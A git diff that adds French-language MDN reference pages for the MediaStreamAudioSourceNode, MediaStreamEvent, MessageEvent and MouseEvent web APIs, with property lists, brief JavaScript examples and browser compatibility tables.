diff --git a/files/fr/web/api/mediastreamaudiosourcenode/index.html b/files/fr/web/api/mediastreamaudiosourcenode/index.html
new file mode 100644
index 0000000000..7608396cc0
--- /dev/null
+++ b/files/fr/web/api/mediastreamaudiosourcenode/index.html
@@ -0,0 +1,153 @@
+---
+title: MediaStreamAudioSourceNode
+slug: Web/API/MediaStreamAudioSourceNode
+tags:
+  - API
+  - Interface
+  - MediaStreamAudioSourceNode
+  - Reference
+  - Web Audio API
+translation_of: Web/API/MediaStreamAudioSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>L'interface <code>MediaStreamAudioSourceNode</code> représente une source audio <a href="https://developer.mozilla.org/fr/docs/Web/API/WebRTC_API">WebRTC</a> {{domxref("MediaStream")}} (comme une webcam ou un micro). C'est un {{domxref("AudioNode")}} qui agit comme une source audio.</p>
+</div>
+
+<p>Un <code>MediaElementSourceNode</code> n'a pas d'entrée et une seule sortie. On le créé en utilisant la méthode {{domxref("AudioContext.createMediaStreamSource")}}. Le nombre de canaux de sortie est égal au nombre de canaux de {{domxref("AudioMediaStreamTrack")}}. S'il n'y a pas de media stream valide, alors la sortie sera constituée d'un seul canal silencieux.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Nombre d'entrées</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Nombre de sorties</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Nombre de canaux</th>
+   <td>Défini par {{domxref("AudioMediaStreamTrack")}} et passé à la méthode {{domxref("AudioContext.createMediaStreamSource")}} qui le créé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamAudioSourceNode.MediaStreamAudioSourceNode()")}}</dt>
+ <dd>Créé une nouvelle instance de <code>MediaStreamAudioSourceNode</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthdoes de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>{{page("/fr-FR/docs/Web/API/AudioContext.createMediaStreamSource","Example")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-mediastreamaudiosourcenode-interface', 'MediaStreamAudioSourceNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Constructeur</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/mediastreamevent/index.html b/files/fr/web/api/mediastreamevent/index.html
new file mode 100644
index 0000000000..82fe5d1e39
--- /dev/null
+++ b/files/fr/web/api/mediastreamevent/index.html
@@ -0,0 +1,56 @@
+---
+title: MediaStreamEvent
+slug: Web/API/MediaStreamEvent
+tags:
+  - API
+  - Expérimentale
+  - Expérimentale(2)
+  - Interface
+  - Reference
+  - Référence(2)
+  - WebRTC
+translation_of: Web/API/MediaStreamEvent
+---
+<p>{{APIRef("WebRTC")}}{{deprecated_header}}</p>
+
+<p>L'interface <strong><code>MediaStreamEvent</code></strong> représente les événements qui se produisent en relation avec un {{domxref("MediaStream")}}. Deux événements de ce type peuvent être lancés: {{event("addstream")}} et {{event("removestream")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Un {{domxref("MediaStreamEvent")}} étant un {{domxref("Event")}}, cet événement implémente également ces propriétés</em>.</p>
+
+<dl>
+ <dt>{{domxref("MediaStreamEvent.stream")}} {{readOnlyInline}}</dt>
+ <dd>Contient le {{domxref("MediaStream")}} contenant le flux associé à l'événement.</dd>
+</dl>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamEvent.MediaStreamEvent()", "MediaStreamEvent()")}}</dt>
+ <dd>Renvoie un nouveau <code>MediaStreamEvent</code>. Il prend deux paramètres, le premier étant un {{domxref("DOMString")}} représentant le type de l'événement; le second un dictionnaire contenant le {{domxref("MediaStream")}} auquel il se réfère.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Un {{domxref("MediaStreamEvent")}} étant un {{domxref("Event")}}, cet événement implémente également ces propriétés</em>.  <em>Il n'y a pas de méthode <em>{{domxref("MediaStreamEvent")}}</em> spécifique.</em></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">pc.onaddstream = function( ev ) {
+  alert("Un stream (id: '" + ev.stream.id + "') a été ajouté à cette connexion.");
+};
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.MediaStreamEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/WebRTC_API" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>Sa cible habituelle: {{domxref("RTCPeerConnection")}}.</li>
+</ul>
diff --git a/files/fr/web/api/messageevent/index.html b/files/fr/web/api/messageevent/index.html
new file mode 100644
index 0000000000..79a62f3ab3
--- /dev/null
+++ b/files/fr/web/api/messageevent/index.html
@@ -0,0 +1,103 @@
+---
+title: MessageEvent
+slug: Web/API/MessageEvent
+translation_of: Web/API/MessageEvent
+---
+<div>Une interface <strong>MessageEvent </strong>permet de recevoir un message (une donnée texte), grâce soit au {{domxref("WebSocket")}} soit par un WebRTC {{domxref("RTCDataChannel")}}. </div>
+
+<div> </div>
+
+<p>L'interface dispose d'un gestionnaire d'événements déclenché par l'événement<span style="line-height: 1.5;"> {{domxref("WebSocket.onmessage")}} ou {{domxref("RTCDataChannel.onmessage")}}.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}</dt>
+ <dd>Créer une nouvelle instance <code>MessageEvent</code>.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Cette interface hérite des méthodes et propriétés de son parent {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.data")}} {{ReadonlyInline}}</dt>
+ <dd>Retourne un {{domxref("DOMString")}}, {{domxref("Blob")}} ou un tableau {{domxref("ArrayBuffer")}} contenant les données émises par le serveur/ l'émetteur. </dd>
+ <dt>{{domxref("MessageEvent.origin")}}</dt>
+ <dd>est une {{domxref("DOMString")}} …</dd>
+ <dt>{{domxref("MessageEvent.ports")}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("MessageEvent.source")}}</dt>
+ <dd>…</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Cette interface hérite des méthodes et propriétés de son parent {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}</dt>
+ <dd><strong>… Ne pas utiliser directement (déprécié) </strong>: préférer le constructeur {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} en lieu et place.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As of Gecko 11.0 {{geckoRelease("11.0")}}, Gecko supports <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a></code> for data, but not {{domxref("Blob")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ExtendableMessageEvent")}}, interface similaire, mais utiliser pour donner plus de flexibilité aux auteurs.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/fr/web/api/mouseevent/index.html b/files/fr/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..9ca9f98666
--- /dev/null
+++ b/files/fr/web/api/mouseevent/index.html
@@ -0,0 +1,327 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+  - Référence(2)
+  - Souris
+  - évènements
+translation_of: Web/API/MouseEvent
+---
+<p id="Sommaire">{{APIRef("DOM Events")}}</p>
+
+<p>L'interface <strong><code>MouseEvent</code></strong> représente les événements qui se produisent lors d'une interaction de l'utilisateur avec un appareil de pointage (tel qu'une souris). Les événements communs utilisant cette interface incluent {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}} et {{event("mousedown")}}.</p>
+
+<p><code>MouseEvent</code> dérive de {{domxref("UIEvent")}}, qui lui-même est issu d'{{domxref("Event")}}. Bien que la méthode {{domxref ("MouseEvent.initMouseEvent()")}} soit conservée à des fins de compatibilité descendante, la création d'un objet <code>MouseEvent</code> doit être effectuée à l'aide du constructeur {{domxref ("MouseEvent.MouseEvent","MouseEvent()")}}.</p>
+
+<p>Plusieurs événements plus spécifiques sont basés sur <code>MouseEvent</code>, y compris {{domxref ("WheelEvent")}} et {{domxref ("DragEvent")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>crée un objet <code>MouseEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des propriétés de ses parents</em> <em> {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>renvoie <code>true</code> (<em>vrai</em>) si la touche <kbd>alt</kbd> est pressée lorsque l'événement est lancé.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>Le chiffre représentant le bouton qui est pressé lorsque l'événement est lancé.</dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}}{{gecko_minversion_inline("15.0")}}</dt>
+ <dd>
+ <p>Les boutons qui sont pressés alors que l'événement est lancé.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en X du pointeur de la souris dans les coordonnées locales (contenu du DOM).</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en Y du pointeur de la souris dans les coordonnées locales (contenu du DOM).</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>renvoie <code>true</code> si la touche <kbd>ctrl</kbd> est pressée alors que l'événement est lancé.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>renvoie <code>true</code> si la touche <kbd>méta</kbd> est pressée alors que l'événement est lancé.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en X du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en Y du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>La coordonnée en X du pointeur de la souris relative à la postion du bord de remplissage du noeud cible.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>La coordonnée en Y du pointeur de la souris relative à la postion du bord de remplissage du noeud cible.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>La coordonnée en X du pointeur de la souris relative au document entier.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>La coordonnée en Y du pointeur de la souris relative au document entier.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>renvoie l'identifiant de la région touchée par l'évènement. Si aucune région n'est affectée, <code>null</code> est retourné.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>La seconde cible pour l'événement, s'il y en a une.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en X du pointeur de la souris de façon globale (par rapport à l'écran).</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>La coordonnée en Y du pointeur de la souris de façon globale (par rapport à l'écran).</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>renvoie <code>true</code> si la touche <kbd>Maj</kbd> est pressée alors que l'événement est lancé.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{readonlyinline}}</dt>
+ <dd>Le bouton qui est pressé alors que l'événement est lancé.</dd>
+ <dt>MouseEvent.mozPressure {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>La quantité de pression appliquée à un appareil tactile ou tablette lors de la génération de l'événement ; l'amplitude de cette valeur se situe entre 0.0 (pression minimum) et 1.0 (pression maximum).</dd>
+ <dt>MouseEvent.mozInputSource {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>Le type d'appareil qui a généré l'événement (une des constantes <code>MOZ_SOURCE_*</code> listées ci-dessous). Ceci permet, par exemple, de déterminer si un événement de pointeur est généré par une souris ou par un événement tactile (qui pourrait affecter le degré de précision avec lequel il est possible d'interpréter les coordonnées associées à l'événement).</dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>La quantité de pression appliquée en cliquant.</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias pour {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias pour {{domxref("MouseEvent.clientY")}}.</dd>
+</dl>
+
+<h2 id="Constantes"><span style="display: none;"> </span><span style="display: none;"> </span>Constantes</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Force minimum nécessaire pour un click normal.</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Force minimum nécessaire pour un click fort.</dd>
+</dl>
+
+<h2 id="Les_méthodes">Les méthodes</h2>
+
+<p><em>Cette interface hérite aussi des méthodes de ses parents</em> <em>{{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState")}}(){{gecko_minversion_inline("15.0")}}</dt>
+ <dd>Retourne l'état actuel de la touche de modification spécifiée. Voir {{domxref("KeyboardEvent.getModifierState")}}() pour plus de détails.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>initialise la valeur de l'<code>MouseEvent</code> créé. Si l'évènement a déjà été diffusé, la méthode ne produit rien.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple illustre la simulation d'un clic (générant par programmation un événement click) sur une case à cocher en utilisant les méthodes DOM.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">simulateClick</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> evt <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">MouseEvent</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    bubbles<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+    cancelable<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+    view<span class="punctuation token">:</span> window
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> cb <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"checkbox"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//élément pour cliquer</span>
+  <span class="keyword token">var</span> canceled <span class="operator token">=</span> <span class="operator token">!</span>cb<span class="punctuation token">.</span><span class="function token">dispatchEvent</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>canceled<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// Un gestionnaire appelé preventDefault</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"canceled"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="comment token">// Aucun des gestionnaires n'est appelé preventDefault</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"not canceled"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"button"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> simulateClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> Checked<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Click me<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Cliquez sur le bouton pour voir comment l'exemple fonctionne :</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redéfinit <code>MouseEvent</code> de long à double. C'est-à-dire qu'un <code>PointerEvent</code> dont le <code>pointerType</code> est "souris" est un double.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ajout de la propriété  <code>region</code>  à partir de {{SpecName('DOM3 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>À partir de {{SpecName('DOM3 Events')}}, ajout des propriétés <code>movementX</code> et <code>movementY</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>À partir de {{SpecName('DOM3 Events')}}, ajout des propriétés <code>offsetX</code> et <code>offsetY</code>, <code>pageX</code> et <code>pageY</code>, <code>x</code> et <code>y</code>. Redéfinition de l'écran, de la page, du client et des propriétés des coordonnées (x et y) comme <code>double</code> et non plus <code>long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>À partir de {{SpecName('DOM2 Events')}}, ajout du constructeur <code>MouseEvent()</code>, de la méthode <code>getModifierState()</code> et de la propriété <code>buttons</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p> </p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.movementX","movementX")}}<br>
+    {{domxref("MouseEvent.movementY","movementY")}}</td>
+   <td>{{CompatChrome(37)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("moz")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatSafari(10.1) }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.buttons", "buttons") }}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.which", "which") }}</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>9.0</td>
+   <td>5.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop(15)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</td>
+   <td>{{CompatChrome(45)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.region")}}</td>
+   <td>{{CompatChrome(51)}}<sup>[1]</sup></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.offsetX")}}, and {{domxref("MouseEvent.offsetY")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.screenX")}}, {{domxref("MouseEvent.screenY")}}, {{domxref("MouseEvent.clientX")}}, and {{domxref("MouseEvent.Y")}} are double instead of long.</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
